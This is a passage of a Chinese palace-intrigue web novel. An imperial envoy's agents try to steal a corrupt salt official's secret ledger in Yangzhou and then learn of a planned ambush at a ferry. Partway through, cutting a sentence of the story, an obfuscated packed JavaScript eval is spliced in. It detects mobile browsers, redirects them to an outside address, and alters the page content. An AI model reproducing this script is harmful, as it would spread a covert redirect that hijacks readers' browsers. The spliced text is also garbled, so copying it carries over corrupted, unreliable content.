就在这时,屏风后环佩叮当,香风袭人。一群身着轻纱彩衣、云鬓花颜的舞姬翩然入场,随着乐声翩翩起舞。纱衣轻薄,在这闷热夏夜倒也合宜。为首一女子尤为出众,身段窈窕,面若芙蓉,眼波流转间媚态横生,水袖飞扬,腰肢柔若无骨,瞬间吸引了所有人的目光。乐声陡然转为欢快热烈,试图冲淡方才凝滞紧绷的气氛。 席间众人似乎都松了口气,重新挂上笑容,目光追随着舞姬曼妙的身姿,低声品评调笑,摇扇的动作也频繁了些。 沈济川趁机举杯,强笑道:“大人,这是下官府中养的乐伎,粗陋得很,权当助兴。大人请饮酒,看舞,这些烦心事,明日再议不迟。” 萧道煜看着场中旋转飞舞的彩衣,金瞳深处闪过一丝厌烦与疲惫。她知道,今夜是问不出更多了。沈济川摆明了要虚与委蛇,用这温柔乡、脂粉阵来消磨她的锐气,拖延时间。 她不再说话,只端起那杯一直未动的荷叶露,凑到唇边。酒香清冽,入口冰凉,却有一股说不出的甜腻,顺着喉管滑下。她蹙了蹙眉,将酒杯放下,再无饮第二口的意思。 目光扫过席间,那些官员商贾脸上堆着的、千篇一律的谄媚笑容;掠过舞姬们竭力展现的、空洞的妖娆;最后,落在窗外沉沉夜色,和倒映在漆黑湖面上、支离破碎的灯火光影,以及湖边荷丛中闪烁的点点萤火。 这扬州,这沁芳园,表面是锦绣繁华,诗词风月。内里,只怕比北镇抚司的诏狱,更加污浊不堪,暗藏杀机,连夏夜的凉风都吹不散那腻人的腐气。 她按了按又开始隐隐作痛的小腹,对身后的萨林低语一句:“我倦了。” 萨林会意,上前一步,沉声道:“世子车马劳顿,需早些安歇。诸位,今夜便到此罢。” 沈济川忙起身,丝袍后背已湿了一片:“下官早已为大人备好清净院落,就在园中‘竹漪轩’,临水通风,一应物品俱全,大人尽可安心歇息。” 萧道煜微微颔首,不再多言,由萨林搀扶着起身离席。伊凡紧随其后。 走出水阁,夜风裹着湿热的水汽扑面而来,吹散了方才室内甜腻的香气与酒气,却并未带来多少清凉,反而更觉闷滞。萧道煜深吸一口温热的空气,抬头望了望漆黑的天幕,几颗星子黯淡无光。 “萨林。” “在。” “今夜……怕是不太平。”萧道煜声音极轻,几乎消散在风里,“警醒些。” 萨林绿眸中凶光一闪,重重点头:“世子放心。” 伊凡在身后听着,垂下的眼睫掩盖了眸中复杂的思绪。他指尖无意识地摩挲着袖中一枚冰凉的物件——那是一把特制的、细如牛毛的铜钥匙。白日里,他趁沈济川率众迎接钦差、府中守备略有松懈时,已暗中探过外书房,一无所获。真正的暗账,恐怕藏在更隐秘、更意想不到的地方。 他的目光,投向园子深处,那片属于内宅的、灯火更为密集的楼阁。夏夜悠长,正是行动的好时候,却也危机四伏。 夜,还很长。 竹漪轩位于沁芳园东南角,相对独立,以一片潇潇竹林与园中主要建筑相隔,环境清幽。小院三楹,陈设雅致,熏着清淡的荷香,门窗大开,夜风穿堂而过。萨林亲自检查了各处门窗、角落,又令带来的黑鳞卫在院外暗处布下岗哨,方才稍稍安心。 萧道煜只着素白中衣,靠在内室的竹榻上。烛光下,她面色疲惫,眼下有淡淡的青影,手指无意识地按着小腹。斐兰度的药散似乎效力正在减退,那沉坠的痛感又丝丝缕缕地泛上来,搅得人心神不宁。夏夜的闷热让她额角渗出细密的汗珠。 “世子,可要传随行太医?”萨林见她神色不佳,低声问道。 “不必。”萧道煜摇头,声音有些虚弱,“斐兰度的药,旁人看了也无用。”她顿了顿,抬手用丝帕拭了拭额角的汗,“伊凡呢?” “伊佥事说去查看园中路径与守卫布置,以便应对。”萨林语气中带着一丝不易察觉的不满。他始终觉得伊凡心思太过活络,难以完全信任。 萧道煜“嗯”了一声,未再多言。她自然知道伊凡去做什么。暗账……那是扳倒沈济川、乃至牵扯出更多人的关键。沈济川老奸巨猾,必定藏得极隐秘。伊凡擅长此道,由他去探,再合适不过。只是……这沁芳园毕竟不是京城,龙潭虎穴,步步惊心。夏夜虽长,却也短暂。 正思忖间,窗外传来极轻微的“叩叩”声,三长两短,混在竹林沙沙声中,几不可闻。 萨林瞬间警觉,手按刀柄。萧道煜却抬了抬手,示意他稍安。 窗户被无声推开一条缝,伊凡如一片羽毛般飘了进来,落地无声。他月白锦衣的下摆沾了些许泥水和草屑,发丝也被夜露打湿了几缕,贴在光洁的额角,平添几分狼狈,眼神却亮得惊人,在闷热的夏夜里像两点寒星。 “如何?”萧道煜问,声音在寂静中格外清晰。 伊凡快步上前,压低声音,语速极快,带着喘息:“外书房、账房、乃至沈济川日常起居的正院,臣皆已暗中探过,皆有机关暗格,但所藏不过是些寻常金银、田契房契,并无那本要紧的暗账。”他顿了顿,眼中闪过一丝奇异的光芒,汗水顺着鬓角滑落,“不过……臣在探正院时,偶然听到两个值夜摇扇纳凉的婆子嘀咕,说五姨娘这两日心神不宁,夜里总惊醒,还让心腹丫鬟将一匣子‘要紧东西’从床底暗格里取出,贴身放着才敢睡,说是天热燥得人心慌。” “五姨娘?”萧道煜金瞳微眯,竹榻边冰盆散发的凉气似乎都凝住了。 “是。沈济川最宠爱的妾室,原是扬州瘦马,以色艺双绝闻名,三年前被沈济川重金纳进府中,独居西边的‘锦瑟院’。据说此女性情孤傲,不爱与府中其他女眷往来,沈济川却对她言听计从,多有赏赐。”伊凡补充道,气息稍平,“臣怀疑,那暗账……或许不在沈济川自己手中,而是交给了这位最得宠、也最不易惹人注意的五姨娘保管。夏日炎炎,内院女眷处,搜查起来反倒不易。” “锦瑟院……”萧道煜指尖轻叩竹榻沿,发出清脆的声响,“守卫如何?” “比外书房松懈,但内院自有粗使婆子和丫鬟值守。且……”伊凡迟疑了一下,擦去鼻尖的汗珠,“沈济川今夜虽在涵虚堂宴饮,但难保不会中途去锦瑟院纳凉歇息。臣方才回来时,见有丫鬟提着食盒往西边去,似是送冰镇酸梅汤。” 时间紧迫,风险极大。夏夜闷热,人心浮躁,守卫也可能松懈,是机会,却也容易生出意外。 萧道煜沉默片刻,看向伊凡,金瞳在烛光下深不见底:“你有几分把握?” 伊凡抬头,对上世子的目光,那总是低垂温顺的眼眸里,此刻燃烧着一种近乎狂热的决绝,映着烛火:“七分。若那东西真在五姨娘贴身之处,臣有法子让她‘主动’拿出来。只是……”他看了一眼萨林,汗水浸湿的衣衫贴在身上,“需要有人在外制造些许动静,引开可能巡视的护院,并且,万一事败,需有接应。夏夜园中纳凉人多,需格外小心。” 萨林眉头紧锁,显然不赞同如此冒险。但萧道煜已做了决定。 “萨林,你带两个身手最好的,在锦瑟院外围策应,听伊凡信号行事。若遇阻拦,不必留情,但尽量莫惊动太多人,夏夜园中行走纳凉者众,须干净利落。”萧道煜声音冷冽,带着不容置疑的决断,“伊凡,你去。记住,我要的是账本原件,若不能得手……便毁了它,绝不能落入他人之手,或让沈济川察觉我们已经盯上。” “臣明白。”伊凡躬身,眼中光芒更盛,汗湿的脊背挺直。他需要这份信任,更需要这份功劳,来稳固自己在世子心中的地位,压制萨林。 “小心。”萧道煜最后看了他一眼,吐出两个字,在闷热的夏夜里显得格外清晰。 伊凡心头微微一震,随即敛容,重重点头,身形一晃,再次如鬼魅般消失在窗外浓郁的夜色与蝉鸣声中。 萨林也领命而去,室内重归寂静,只有冰盆里冰块融化的细微声响,和窗外永无止息的蛙鸣蝉噪。 萧道煜独自坐在竹榻上,听着窗外竹叶被夜风吹动的沙沙声,和远处池塘里愈发喧闹的蛙鼓。腹中的疼痛一阵紧过一阵,闷热加剧了不适,她额角渗出冷汗,却咬着牙没有去碰药瓶。 账本……只要拿到那本真实的暗账,记录着沈济川这些年与盐枭勾结、贪墨盐课、贿赂京官的铁证,那么今夜所有的冒险、所有的忍耐,便都值得。 她闭上眼,强迫自己调匀呼吸,压下疼痛与焦虑,以及夏夜闷热带来的烦躁。 时间,在寂静、闷热与等待中,缓慢而煎熬地流淌。 锦瑟院位于沁芳园西侧,是一座精巧的两层小楼,前后带着小小的庭院,植着几株高大的芭蕉和石榴,阔叶在夜风中缓慢摇动。楼内灯火未熄,透过碧纱窗,晕出朦胧柔软的光晕,窗棂大开,试图捕捉一丝凉风。 伊凡伏在院墙外假山藤蔓的阴影里,像一只蛰伏的夜枭,一动不动。汗水不断从额角、脖颈渗出,浸湿了紧贴皮肤的夜行衣,闷热几乎令人窒息。他全神贯注地观察着楼内的动静,耳畔是芭蕉叶沙沙作响和不知藏在何处的蟋蟀鸣叫。 两个粗使婆子坐在廊下值夜,摇着蒲扇,昏昏欲睡,偶尔拍打一下叮咬的蚊虫。一个穿着水红比甲、梳着双鬟的小丫鬟提着食盒从角门进来,与婆子低声说了两句,便撩开竹帘上了楼,脚步声轻盈。 时机稍纵即逝。 伊凡深吸一口闷热的空气,从怀中取出一个小巧的铜管,对准廊下其中一个婆子裸露的脖颈,轻轻一吹。一枚细如牛毛的银针悄无声息地没入皮肤。那婆子浑身一颤,头一歪,蒲扇脱手,便靠在柱子上,仿佛睡得更沉了。 另一个婆子浑然不觉,犹自打着盹,蒲扇有一下没一下地摇着。 伊凡如狸猫般翻过墙头,落地无声,迅速靠近小楼。他并未走正门,而是绕到楼后,仰头看了看二楼的窗户。其中一扇大开着,隐约传出女子低低的咳嗽声,和用扇子扇风的声音。 他足尖在湿滑的、生着青苔的墙壁上一点,身形拔起,单手扣住窗沿,灵巧地翻身而入,落地时竟连窗边妆台上一支玉簪都未曾碰倒,只带进一缕微热的夜风。 这是一间布置得极为雅致温馨的闺房。空气中弥漫着淡淡的药香、女子体香和驱蚊艾草燃烧后的气息。地上铺着清凉的竹席,靠窗一张竹制贵妃榻,榻上倚着一个女子,只穿着一身素白轻纱寝衣,外罩一件浅碧色绉纱长衫,青丝如瀑,未绾未系,松松地垂在身后,手中握着一柄团扇,无力地轻摇。面色苍白,带着病容,却难掩其天生丽质。眉眼细长,鼻梁挺秀,唇色淡粉,此刻正微微蹙着眉,用手帕掩着口,低声咳嗽。方才那送食盒的小丫鬟正站在一旁,用扇子轻轻为她扇风,低声劝着什么。 伊凡屏住呼吸,隐在厚重的帷幔之后,目光迅速扫过室内。床榻、妆台、书架、多宝格……何处可能藏匿一个匣子?夏夜炎热,若真是要紧东西,恐怕不会远离身边。 “……咳咳……兰儿,将那匣子再拿与我。”五姨娘咳了一阵,喘匀了气,虚弱地吩咐,声音柔腻却带着沙哑。 名叫兰儿的小丫鬟应了一声,走到床边,俯身从竹席下的暗格摸索片刻——并非床底,夏日床底通风,易受潮——捧出一个尺余长、七八寸宽的紫檀木匣子,匣子上挂着一把精巧的铜锁,在烛光下泛着幽光。 五姨娘接过匣子,抱在怀里,手指轻轻摩挲着光滑冰凉的匣面,眼神复杂,有珍视,有恐惧,还有一丝深深的厌倦。团扇搁在了一边。 “姨娘,您这两日总抱着这匣子,夜里也睡不安稳。大夫说了,您这是心火旺,忧思过甚,又受了暑气,需得静养,不能再劳神。”兰儿忧心忡忡,继续打着扇。 “静养?”五姨娘苦笑一声,声音低柔却带着无尽的疲惫,在闷热的夜里格外无力,“树欲静而风不止。这匣子里的东西……是福是祸,谁能说得清?”她将脸颊贴在冰冷的匣面上,喃喃道,额角有细汗,“老爷将它交给我时,说这是咱们后半辈子的倚仗……可我瞧着,却像是一道催命符,在这大热天里,抱着它,心里头却一阵阵发冷。” 伊凡心中一动。看来,就是此物了。夏日贴身存放,既可避潮,又不易远离,这沈济川倒是想得周到,也足见对五姨娘的“信任”与利用。 他正思量如何动手,忽听楼下传来一阵急促的脚步声,紧接着是婆子有些惊慌、带着睡意惺忪的声音:“老爷?您、您怎么来了?姨娘身子不适,刚服了祛暑汤睡下……” 沈济川来了! 伊凡瞳孔骤缩。此刻若退,功亏一篑;若进,风险倍增。夏夜纳凉,沈济川来妾室处本是常事,但偏偏是这个时候! 五姨娘和兰儿也听到了动静,脸色瞬间变得煞白。五姨娘手忙脚乱地将匣子往榻上的薄被下塞,兰儿则急急整理榻上枕衾,强作镇定,手中的扇子却扇得更快了,不知是扇风还是扇走紧张。 脚步声已到了楼梯口,沉重而略带虚浮,带着酒意。 千钧一发! 伊凡不再犹豫,手腕一翻,一枚细小如豆的黑色丸子弹射而出,打在墙角驱蚊的艾草香炉上,“噗”一声轻响,冒出一股淡淡的、带着甜腥气的白烟,混入原本的艾草烟中。那是一种迷香,效力不强,但足以让人瞬间恍惚,在闷热空气中扩散更快。 五姨娘和兰儿闻到那丝异样的甜腥气,俱是身形一晃,眼神迷茫,手中的动作停滞了。 与此同时,伊凡如鬼魅般闪出,目标明确——直扑竹榻上那微微隆起的薄被! 他的手刚触及那紫檀木匣冰凉的边缘,房门已被“砰”地一声推开! 沈济川带着一身酒气与汗味,脸色阴沉地站在门口,手中还拿着一把折扇。他一眼便看见榻边那道陌生的、穿着深色紧身衣的身影,正探身向榻内,而自己的爱妾眼神涣散,摇摇欲坠,薄被下露出匣子一角。 “有贼!”沈济川的酒意和暑气瞬间化作惊怒,厉声大喝,声音在静夜中格外刺耳,“来人!抓刺客!” 院外立刻传来杂沓的脚步声、呼喝声、兵刃出鞘声,惊起了芭蕉丛中栖息的夜鸟,扑棱棱飞起,更添混乱。 伊凡心知已无法悄无声息地取走匣子。电光火石间,他做出了决断——五指并拢如刀,运足内力,狠狠劈向那紫檀木匣! “咔嚓”一声脆响,坚硬的木匣竟被劈开一道裂缝,里面一叠纸页露出边角! “不——!”五姨娘发出一声短促的惊叫,恢复了些许神智,扑上去想护住匣子,纱衣凌乱。 伊凡毫不恋战,一击得手,立刻抽身后退,顺手抄起妆台上一面沉重的鎏金铜镜,狠狠砸向扑上来的沈济川面门!铜镜在烛光下划出一道亮光。 沈济川本能地偏头躲闪,铜镜擦着他耳朵飞过,砸在门框上,发出巨响,碎裂开来。 趁此间隙,伊凡身形如烟,已从方才进来的窗口翻出,纵身跃下!闷热的夜风扑面。 “追!给我追!格杀勿论!”沈济川气急败坏地怒吼,自己也冲到窗边,胖脸上汗水涔涔。只见那深色身影在夜色中几个起落,已没入芭蕉与石榴树的阴影深处,速度快得惊人,只留下晃动的枝叶。 他回过头,看向瘫坐在竹席上、抱着破裂木匣瑟瑟发抖、钗环凌乱的五姨娘,眼中闪过惊疑、暴怒,还有一丝不易察觉的恐惧,在烛光下扭曲。 那匣子里的东西… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996016|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …绝不能泄露!这闷热的夏夜,竟让他感到一阵刺骨的寒意。 “老爷……”五姨娘泪眼婆娑,怀中匣子裂开处,隐约可见里面并非金银珠宝,而是一叠叠账册似的纸页,有些已因方才一击而破损。 沈济川脸色铁青,上前一把夺过匣子,打开粗略一看,见里面账册虽有破损,但大致完好,关键页码似未缺失,心下稍安,随即,无边的怒火与被窥破秘密的恐慌涌上心头,在这暑热夜里如同烈火烹油。 “贱人!”他反手一掌掴在五姨娘脸上,将她打得歪倒在竹席上,纱衣滑落肩头,“谁让你把它拿出来的?!谁?!这么热的天,抱在怀里,是怕别人不知道吗?!” 五姨娘捂着脸,无声流泪,眼中尽是绝望,汗水与泪水混在一起。兰儿早已吓呆,跪在一旁瑟瑟发抖。 沈济川不再看她,紧紧抱着匣子,对闻声赶来的护院头目嘶声命令,声音因激动和燥热而嘶哑:“关闭园门!封锁所有出口!搜!一寸一寸地搜!一定要把那个穿深色衣服的贼子给我揪出来!活要见人,死要见尸!” 沁芳园,瞬间从笙歌纳凉的温柔乡变成了沸腾的修罗场。灯笼火把次第亮起,照得园中亮如白昼,惊飞更多夜鸟,呼喝声、奔跑声、兵刃出鞘声、犬吠声,混杂在夏夜依旧喧嚣的蛙鸣蝉噪中,惊破了扬州城西这个本该沉醉于夜风荷香的夜晚。 伊凡在园中草木阴影里疾奔。 汗水早已浸透全身,与肩头伤口渗出的血水混在一起,火辣辣的疼。脚下是湿滑的青苔、松软的泥土和疯长的杂草,几次让他险些滑倒。身后追兵的呼喝声、脚步声越来越近,火把的光亮穿透浓密的枝叶和闷热的夜雾,在他身后晃动,照亮他逃亡的路径。蚊虫嗡嗡地围着他受伤流血的地方。 他左肩传来一阵阵剧痛——方才跃下窗口时,被一个反应极快的护院掷出的飞镖擦过,虽未伤及筋骨,但皮肉翻卷,鲜血不断涌出,在深色夜行衣上洇开更大一片深色。闷热让伤口更易腐烂,疼痛加剧。 不能回竹漪轩!会连累世子! 这个念头无比清晰。伊凡咬紧牙关,改变方向,朝着与竹漪轩相反的、园子更深处、更偏僻的角落奔去。那里有一片小小的荷花池,此时正是荷叶田田、荷花初绽的时候,池边有一座半废弃的、用来夏日观荷纳凉的水榭。 他需要制造一个“已逃离”或“已死亡”的假象,为世子争取时间,也为自己寻找脱身之机。夏夜池塘,或许能利用。 追兵已近在咫尺,火把的光已经能照见他踉跄的背影。伊凡闪身躲入水榭残破的、爬满藤蔓的廊柱后,背靠冰凉潮湿的木柱,急促地喘息,汗水如雨下。他撕下一片衣襟,草草包扎肩头的伤口,闷热让鲜血难以迅速凝结。同时迅速观察四周环境。 池塘不大,借着月光和远处火把的光,可见荷叶密密层层,荷花在夜色中宛如盏盏白灯。水应该不深,但淤泥甚厚。夏夜池塘的水并不寒冷,甚至可能是温的,但浸泡伤口绝非好事。更重要的是…… 他目光落在水榭角落一堆废弃的杂物上,那里有几块破裂的假山石,还有一截不知道用来做什么的、裹着油布的粗木桩,可能是维修水榭剩下的材料。 一个冒险的计划在脑中成形。 追兵的火把光亮已照进水榭,惊起了栖息在梁上的蝙蝠,扑棱棱乱飞。“在那边!”“围住!” 伊凡深吸一口闷热腥甜的空气,猛地从藏身处冲出,朝着荷叶最茂密的池塘方向狂奔!故意弄出很大的声响。 “在那里!” “放箭!” 几支弩箭破空而来,钉在他身后的木柱上、荷叶上,笃笃作响,惊得池中青蛙扑通跳水。伊凡冲到池塘边,毫不犹豫,纵身跃下!故意选择了一处荷叶稀疏、水声明显的地方。 “扑通”一声,水花四溅,在火把光下泛着亮光。 “他中箭了!跳池了!” “下去几个人捞!活要见人,死要见尸!小心水蛇!” 几个会水的护院脱了外衣,骂骂咧咧地跳入温吞吞的、满是淤泥味的池水中搜寻,搅得荷叶哗啦啦响。其余人则举着火把,沿着池塘边仔细查看,防止对方从别处上岸,惊扰了荷丛中夜栖的水鸟,嘎嘎乱叫。 混乱中,谁也没有注意到,水榭那堆杂物旁,一道湿漉漉的、贴着地面爬行的黑影,正悄无声息地向着水榭另一侧草木更深的阴影移动。那黑影移动得极慢,几乎与黑暗和摇曳的草木阴影融为一体,借着追兵注意力集中在池塘中央的时机。 伊凡屏住呼吸,温热的池水浸透了衣衫,加重了负担,肩头和腿上的伤口浸泡后更是疼得钻心,还有水蛭可能附上的危险。他方才跃下时,看准了位置,直接潜到那截裹着油布的粗木桩旁,将其奋力推向池塘中央,制造出落水者挣扎扑腾、最终沉没的假象,自己则趁机借着杂物、荷叶根茎和夜色的掩护,从水榭另一侧悄悄爬上岸,身上沾满了淤泥和水草。 此刻,他每移动一寸,都需耗费极大的意志力。不能出声,不能留下明显的水渍痕迹,幸好夏日泥土湿润,水迹很快渗入。夜风微弱,但足以吹动草木掩盖他的行迹。追兵就在不远处,火把的光不时扫过,蚊虫在他耳边嗡嗡作响。 快了……就快到那片茂密的冬青树丛了……进了树丛,就有机会…… 就在他指尖即将触到最近一丛冬青冰凉湿滑的叶片时,一道火把的光猛地从侧面扫了过来,照亮了他身后泥地上拖出的长长水痕和压倒的草叶! “这边有动静!地上有水迹!”一个眼尖的护院发现了异常,指着冬青丛方向喊道。 伊凡心一沉,知道自己暴露了。他不再隐藏,猛地从地上一跃而起,拼尽最后力气,带着一身泥水,朝着冬青树丛深处冲去!扯动了伤口,鲜血再次涌出。 “在这里!他没死!往树林跑了!” “追!放箭!” 箭矢再次破空,在闷热的空气中发出嘶鸣。伊凡只觉得右腿一麻,一股大力传来,整个人向前扑倒,压倒了一片杂草。一支弩箭穿透了他的小腿肌肉,钉在地上,箭羽颤动。 剧痛让他眼前发黑,几乎晕厥。温热的血迅速流出,混着泥水。他挣扎着想爬起来,却见七八个持刀护院已从四面围了上来,火把的光照得他无所遁形,脸上涂抹的深色油彩在汗水、泥水和血污下剥落,露出原本苍白的肤色,显得有些诡异。 完了吗? 这个念头刚起,冬青树丛深处骤然传来数声凄厉短促的惨叫,以及利刃割破皮肉的闷响! 围攻伊凡的护院们一惊,下意识回头。只见黑暗的树丛中,仿佛有鬼魅出没,几道黑影以不可思议的速度穿梭,比夏夜最敏捷的蝙蝠还要快,所过之处,试图拦截他们的护院纷纷倒地,甚至看不清是如何被击杀的,只有血光在火把下一闪而逝。 是萨林!伊凡心头一松,几乎脱力,汗水、血水、泥水模糊了视线。 萨林带着两名最精锐的黑鳞卫,如猛虎出闸,又如夏夜突如其来的暴风,刀光闪过,必见血光。他们出手狠辣,毫不留情,利用树木阴影和对方惊慌的瞬间,瞬间将围住伊凡的护院杀散,留下一地尸体和浓重的血腥味,混合着夏夜草木的气息,令人作呕。 萨林冲到伊凡身边,瞥见他肩腿的伤、惨白的脸色和浑身的狼狈,皱了皱眉,却未多言,一把将他扛起,像扛一袋货物,低喝一声:“走!”声音压过渐渐微弱的哀嚎和远处传来的更多脚步声。 两名黑鳞卫断后,刀锋滴血。萨林扛着伊凡,身形依旧快如闪电,在草木丛中几个转折,利用对地形的熟悉,便甩开了追兵,朝着竹漪轩的方向疾奔。夏夜的闷热似乎对他们毫无影响,只有冰冷的杀意。 回到竹漪轩时,萧道煜已披着一件薄衫站在廊下。雨早已停了,但暑热未消,她面色在廊檐灯笼的光下,白得近乎透明,额角有细微的汗珠。见萨林扛着受伤泥泞的伊凡回来,金瞳一凝,在昏暗光线下如寒星。 “如何?” 萨林将伊凡放在廊下的竹制美人靠上,动作算不上轻柔。伊凡闷哼一声。萨林沉声道:“惊动了沈济川,伊佥事受伤不轻,但追兵已暂时甩脱。园内正在大肆搜查,很快会循着血迹找到这里。杀了七人。” 伊凡忍着剧痛和眩晕,急促喘息道,声音嘶哑:“世子……暗账……确实在五姨娘处……紫檀木匣……臣劈开了匣子,看到了账册模样……但未能取出……沈济川已察觉……必定加强防范……” 萧道煜脸色未变,只眼中寒光更盛,仿佛能将夏夜的闷热都冻结。她快步走到伊凡身边,蹲下身,不顾伊凡满身的泥污血污,低头仔细查看他的伤势。肩头刀伤皮肉翻卷,被池水浸泡后边缘发白;小腿的箭伤更为严重,箭头深入肌肉,周围红肿,鲜血汩汩流出,混着黑褐色的泥水。 “萨林,取金疮药、烧酒、干净布条和热水。”萧道煜声音冷静得不带一丝波澜,却带着不容置疑的威严,“伊凡,忍着点。” 她亲自俯身,握住那支弩箭的箭杆,手指稳定,没有丝毫颤抖。伊凡疼得浑身剧烈一颤,咬紧了下唇,几乎将嘴唇咬破,额上冷汗如瀑,与血水泥污混在一起。 萧道煜手上用力,稳而快,“噗”一声,将箭矢猛地拔出!带出一蓬鲜血和些许碎肉。伊凡闷哼一声,眼前彻底黑了一瞬,几乎晕厥过去,全靠意志力撑着。萧道煜动作不停,迅速用萨林递上的、烈性的烧酒冲洗伤口,伊凡疼得肌肉痉挛,却死死忍住没叫出声。然后萧道煜将大量药粉倒在狰狞的伤口上,用干净布条紧紧包扎,手法熟练。 她的手指冰凉,与伊凡滚烫的皮肤形成鲜明对比,动作却稳定而迅速,仿佛在处理一件寻常公务。伊凡在剧痛与恍惚中,感觉到那冰冷指尖偶尔触碰到自己小腿的皮肤,带来一丝异样的、令人战栗的触感,混杂着烧酒的刺痛和药粉的清凉。他努力抬眼,视线模糊,只能看到世子近在咫尺的、专注而苍白的侧脸,垂下的眼睫,和高挺鼻梁上细微的汗珠,那双金瞳在昏暗摇曳的灯笼光线下,美得惊心动魄,也冷得令人心悸,仿佛能看透一切血肉与伪装。 “沈济川很快会来。”包扎完毕,萧道煜直起身,声音恢复了惯常的冷冽,仿佛刚才那一丝细微的波动从未存在。她接过萨林递上的湿布,擦了擦手上沾的血污。“萨林,准备一下。伊凡,”她看向勉强支撑着坐起的伊凡,“你留在内室,无论外面发生什么,不要出来,莫要留下更多痕迹。” “世子,臣……”伊凡挣扎着想说什么,失血和疼痛让他声音虚弱。 “这是命令。”萧道煜打断他,语气不容置疑,带着夏夜也化不开的寒意。她转身,对萨林道,目光投向锦瑟院方向那片愈加喧腾的灯火:“去请沈大人过来。就说……本官有要事相商。” 萨林领命,眼中凶光未褪,大步而去。 萧道煜走回廊下,负手而立,望向锦瑟院方向。那里灯火通明,人声鼎沸,混乱尚未平息,惊起了满园的夏虫,鸣叫声都似乎带上了惊惶。 雨早已停了。夜空如被水洗过的黑缎,露出一弯下弦月,清辉冷冷地洒落在湿漉漉、乱糟糟的园子里,映出一地破碎凌乱的光影、血迹和踩倒的花草。荷风送来的不再是清香,而是隐约的血腥与骚动。 暗账虽未得手,但已打草惊蛇,并且确认了所在。沈济川此刻必定如同惊弓之鸟,那本要命的账册,她还会放心留在府中吗?还是会连夜转移?夏日衣薄,难以隐藏,他又会如何处置知晓秘密的五姨娘? 今夜之后,这场博弈,将从暗处,逐渐转向明面。温柔的夏夜面纱已被彻底撕破,露出下面狰狞的爪牙。 真正的较量,才刚刚开始。而扬州城这潭被烈日曝晒的深水,已被她这枚投入的石子,激起了第一圈致命而滚烫的涟漪。 16. 第 16 章 更深漏残,竹漪轩内烛火将尽。 萧道煜披衣独坐案前,面前摊着一张素白笺纸,纸上是数行歪斜潦草的字迹,墨色深浅不一,显是仓促写就。信是半刻钟前,一支绑着纸条的短弩从窗外射入,钉在廊柱上的。萨林追出去时,投信之人早已遁入夜色,杳无踪迹。 纸上所言,触目惊心: “王已密联漕帮冯万里,许以盐利三成,明日巳时于瓜洲渡设伏,伪作接风,实图刺杀钦差。张集亡命二百,藏于渡口货栈、渔舟,备强弓劲弩、桐油火器。切切。” 落款处,画着一朵简笔莲花,瓣尖染着淡淡朱砂,似血。 白莲教。 萧道煜指尖拂过那朵血莲,金瞳在摇曳烛光下明灭不定。白日沁芳园宴上,沈济川还做足了惶恐委屈的姿态,言辞间将盐政积弊推给“水匪凶顽”、“胥吏勾结”,恳请钦差明察。转头便联络漕帮,布下杀局,欲将他这柄“天子之刀”彻底折断在扬州地界。 好一个都转运盐使,好一个“力不从心”。 “世子,”萨林去而复返,肩头带着夜露的湿气,绿眸凝重,“四周探查过,并无埋伏眼线。送信之人身手极佳,对园中路径也熟,应是早潜伏于此。” 伊凡腿伤已包扎妥当,靠坐在内室榻上,闻言低声道:“白莲教……他们为何要示警?与沈济川有仇?还是……另有所图?” 这也是萧道煜心中的疑虑。白莲教乃朝廷心腹大患,被斥为“邪教”,剿抚多年,其党羽遍布江湖,行事诡秘。他们与沈济川这等封疆大吏,本该是水火不容。此刻突然递来这关乎性命的消息,是坐山观虎斗,渔翁得利?抑或……别有所求? “不论其图谋为何,此信所言,宁可信其有。”萧道煜将信纸凑近烛火,火舌舔舐纸角,迅速蔓延,化作一小团灰烬,飘落案上。“瓜洲渡乃北上必经之路,沈济川若真狗急跳墙,此地确是动手的绝佳之处。” 她抬眸,看向萨林:“我们带了多少人来?” “黑鳞卫精锐五十,皆已随船入驻驿馆。另有扬州卫指挥使派来护卫的一百军士,在园外驻扎。”萨林沉声答道,“只是……那些军士未必可靠。” 萧道煜颔首。沈济川在扬州经营多年,根深蒂固,卫所官兵中难保没有他的人。真动起手来,这些“护卫”是盾是刀,尚未可知。 “传令下去,”萧道煜声音转冷,金瞳中锐光乍现,“明日辰时初刻,拔营启程,摆齐钦差仪仗,前往瓜洲渡。令黑鳞卫全员披甲,暗藏劲弩短刃,分作三队:一队随扈车驾左右,一队提前一个时辰,乔装潜入渡口,探查货栈、渔舟,凡有异样,立刻控制。最后一队……”她顿了顿,“由你亲自统领,隐于渡口外三里处的江神庙后,听我号炮为令,截断退路,围剿残匪。” 萨林凛然应诺:“是!” “至于沈济川,”萧道煜嘴角勾起一丝冰冷笑意,“他不是要‘接风’吗?本官便让他好生‘接一接’。萨林,你遣两个机灵的,现在就去盐运使府递话,就说本官感念沈大人盛情,明日定准时赴瓜洲渡之约,望沈大人……勿失远迎。” “世子,此乃险招。”伊凡忍不住出声,“既知有伏,何必亲身犯险?不如将计就计,假托抱恙,另遣他人……” “他不会信。”萧道煜打断他,“沈济川老奸巨猾,我若临阵退缩,他必生疑,恐另生毒计。唯有亲至,他才会将埋伏的力量尽数投入,我们方能一网打尽。”他看向伊凡,“你的伤,明日能行动否?” 伊凡咬牙:“皮肉伤,无碍。” “好。”萧道煜走到他榻前,烛光将他苍白的脸映得半明半暗,“明日大队开拔后,你留下。沈济川既在渡口孤注一掷,府中守备必然空虚。尤其是……锦瑟院。” 伊凡眼中精光一闪:“世子的意思是……” “昨夜你虽未得手,却已惊动沈济川。那本暗账,他绝不会再留在明处,甚至可能转移出府。但他信不过外人,仓促之间,最可能的是另觅府中隐秘之处藏匿,或交由最信任的心腹暂管。”萧道煜声音压得极低,“我要你趁府中空虚,再探锦瑟院,尤其是五姨娘身边的心腹之人。若暗账仍在府中,务必拿到手。若已转移……”她目光森然,“查出线索,或者……让那本账,永远消失。” 